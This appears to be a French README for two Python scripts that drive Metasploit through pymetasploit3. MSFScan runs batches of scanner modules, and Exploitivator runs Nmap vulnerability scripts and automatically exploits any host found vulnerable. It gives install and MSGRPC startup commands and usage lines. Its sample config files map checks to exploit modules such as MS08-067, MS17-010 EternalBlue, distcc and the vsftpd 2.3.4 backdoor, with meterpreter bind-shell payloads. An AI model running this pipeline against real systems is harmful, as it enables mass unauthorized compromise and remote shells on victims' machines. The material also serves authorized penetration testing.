
Automatiser le scan et l'exploitation Metasploit
V2.0 - modifié pour utiliser Python 3
Ceci a seulement été testé sur Kali.
Il dépend du module pymetasploit3 pour Python, décrit en détail ici : https://coalfire.com/the-coalfire-blog/pymetasploit3-metasploit-automation-library
Installez les paquets Kali nécessaires et la gem PostgreSQL pour Ruby :
apt-get install postgresql libpq-dev git-core
gem install pg
Installez la version actuelle du module pymetasploit3 pour Python 3 :
pip3 install pymetasploit3
Avant d'exécuter l'un des scripts, chargez msfconsole et démarrez le service MSGRPC.
MSGRPC peut être démarré avec msfrpcd dans Metasploit comme suit :
load msgrpc Pass=abc123 ServerHost=0.0.0.0 ServerPort=55552
Les résultats des scans et/ou de l'exploitation apparaîtront dans la console Metasploit et dans le(s) fichier(s) de sortie (msf_scan_output.txt et exploitivator_output.txt).
Utilisez MSFScan pour exécuter plusieurs scans Metasploit contre un groupe d'hôtes cibles. Utilisez Exploitivator pour exécuter des scans de scripts Nmap contre un groupe d'hôtes cibles et exploiter automatiquement tout hôte signalé comme vulnérable.
Utilisation en ligne de commande :
Exemples : L'application peut être exécutée comme suit, où '10.128.108.178' est l'adresse IP de la machine d'attaque, 'hosts.txt' est une liste d'hôtes cibles, 'msf' est le nom d'utilisateur Metasploit Postgres et 'abc123' est le mot de passe Metasploit Postgres :
./exploitivator.py -l 10.128.108.178 -f hosts.txt -u msf -m abc123
Utilisation en ligne de commande :
./msf_scan.py filename
./msf_scan.py filename MSF_DB_Username MSF_DB_Password
Exemples : L'application peut être exécutée comme suit, où 'hosts.txt' est une liste d'hôtes cibles, 'msf' est le nom d'utilisateur Metasploit Postgres et 'abc123' est le mot de passe Metasploit Postgres :
./msf_scan.py hosts.txt msf abc123
Pour exécuter avec 'hosts.txt' comme liste d'hôtes cibles, en utilisant le nom d'utilisateur Metasploit Postgres par défaut du script(msf) et le mot de passe Metasploit Postgres par défaut du script(abc123) :
./msf_scan.py hosts.txt
Les deux scripts s'appuient sur des fichiers de configuration pour fournir les détails des scans et attaques Nmap et Metasploit nécessaires.
Le script utilise un fichier de configuration nommé 'scan_types.cfg'. Celui-ci contient une liste de chemins pour les scans Metasploit à exécuter contre les cibles. par exemple :
auxiliary/scanner/dcerpc/endpoint_mapper
auxiliary/scanner/smb/smb_version
auxiliary/scanner/x11/open_x11
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/smb/smb_login
Ce script utilise deux fichiers de configuration(exploitivator_scan.cfg et exploitivator.cfg). L'un pour spécifier les scans et paramètres Nmap(exploitivator_scan.cfg), et l'autre pour spécifier les payloads et paramètres Metasploit(exploitivator.cfg). Ceux-ci utilisent '##' comme séparateur et ont les formats suivants.
exploitivator_scan.cfg:
[Label]##[Nmap command line parameters]##[Nmap command line parameters for file output]##[Optional - grep command to be used if Nmap's greppable output is being used]
Dans le format ci-dessus :
1) La première section est un libellé reliant le scan à l'exploit
2) La deuxième section est la partie de la ligne de commande Namp qui spécifie les détails du type de scan à exécuter, comme le port et le script
3) La troisième section est la partie de la ligne de commande Namp qui définit le fichier de sortie Nmap (Exploitivator gère la sortie XML ou greppable de Nmap)
4) La quatrième section facultative est la commande grep que vous souhaitez utiliser pour identifier une cible vulnérable dans un fichier '.gnmap'
Un exemple de contenu de fichier est présenté ci-dessous :
SMB_08-067##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms08-067.nse##-oX ms_08_067.xml
SMB_09-050##-p U:137,U:139,T:139,T:445 --script smb-vuln-cve2009-3103.nse##-oX ms_09_050.xml
SMB_10-054##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms10-054.nse##-oX ms_10_054.xml
SMB_10-061##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms10-061.nse##-oX ms_10_061.xml
SMB_17-010##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms17-010##-oX ms_17_010.xml
DistCC##-p 3632 -sSV##-oG distcc.gnmap##grep "3632\/open\/tcp\/\/distccd"
JavaRMI##-p 1099 -sSV##-oG javarmi.gnmap##grep "1099\/open\/tcp\/\/rmi
VSFTPBackDoor##-p 21 -sSV##-oG vsftp_backdoor.gnmap##grep "vsftpd 2.3.4"
exploitivator.cfg:
[Label]##[Metasploit exploit path]##[Optional - Metasploit payload details]
Un exemple de contenu de fichier est présenté ci-dessous :
SMB_08-067##exploit/windows/smb/ms08_067_netapi##windows/meterpreter/bind_tcp
SMB_09-050##exploit/windows/smb/ms09_050_smb2_negotiate_func_index##windows/meterpreter/bind_tcp
SMB_10-061##exploit/windows/smb/ms10_061_spoolss##windows/meterpreter/bind_tcp
SMB_17-010##exploit/windows/smb/ms17_010_eternalblue##windows/meterpreter/bind_tcp
DistCC##exploit/unix/misc/distcc_exec##cmd/unix/bind_ruby
JavaRMI##exploit/multi/misc/java_rmi_server##php/meterpreter/bind_tcp
VSFTPBackDoor##exploit/unix/ftp/vsftpd_234_backdoor##none
Démarrage et connexion à MSGRPC : https://coalfire.com/the-coalfire-blog/pymetasploit3-metasploit-automation-library
Définition de RHOSTS pour utiliser un fichier au lieu d'une plage : http://travisaltman.com/metasploit-set-rhosts-file/